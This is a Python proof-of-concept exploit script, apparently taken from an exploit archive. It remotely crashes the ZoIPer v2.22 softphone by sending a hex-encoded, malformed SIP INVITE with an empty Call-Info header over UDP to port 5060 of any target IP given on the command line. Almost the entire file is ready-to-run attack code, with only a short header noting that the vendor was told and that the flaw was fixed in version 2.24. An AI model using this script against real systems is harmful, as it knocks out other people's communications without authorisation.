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#!/usr/bin/python

# ZoIPer v2.22 Call-Info Remote Denial Of Service.
# Remote Crash P.O.C.
# Author: Tomer Bitton (Gr33n_G0bL1n)
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10
#
# Vendor Notified on: 21/09/2009
# Vendor Fix: Fixed in version 2.24 Library 5324
#
# Bad Chars:   \x20  ,  \x09

import sys
import socket
import os

def main(argc , argv):

    if len(sys.argv) != 2:
        os.system("cls")
        sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")
    target_host = sys.argv[1]
    target_port = 5060

    evil_packet =   "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\
                    "\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\
                    "\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\
                    "\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\
                    "\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\
                    "\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\
                    "\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\
                    "\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\
                    "\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\
                    "\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\
                    "\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\
                    "\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\
                    "\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\
                    "\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\
                    "\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\
                    "\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\
                    "\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\
                    "\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\
                    "\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\
                    "\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\
                    "\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\
                    "\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\
                    "\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\
                    "\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"
    os.system("cls")               
    print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"
    print "[+] Exploited By Gr33n_G0bL1n\r\n"
    print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect((target_host,target_port))
        print "[+] Trying To Send Evil Packet…\r\n"
        s.sendall(evil_packet)
        s.close()
        print "[+] Done!\r\n"
    except:
        print "[x] Connection Error!\r\n"

if (__name__ == "__main__"):
    sys.exit(main(len(sys.argv), sys.argv))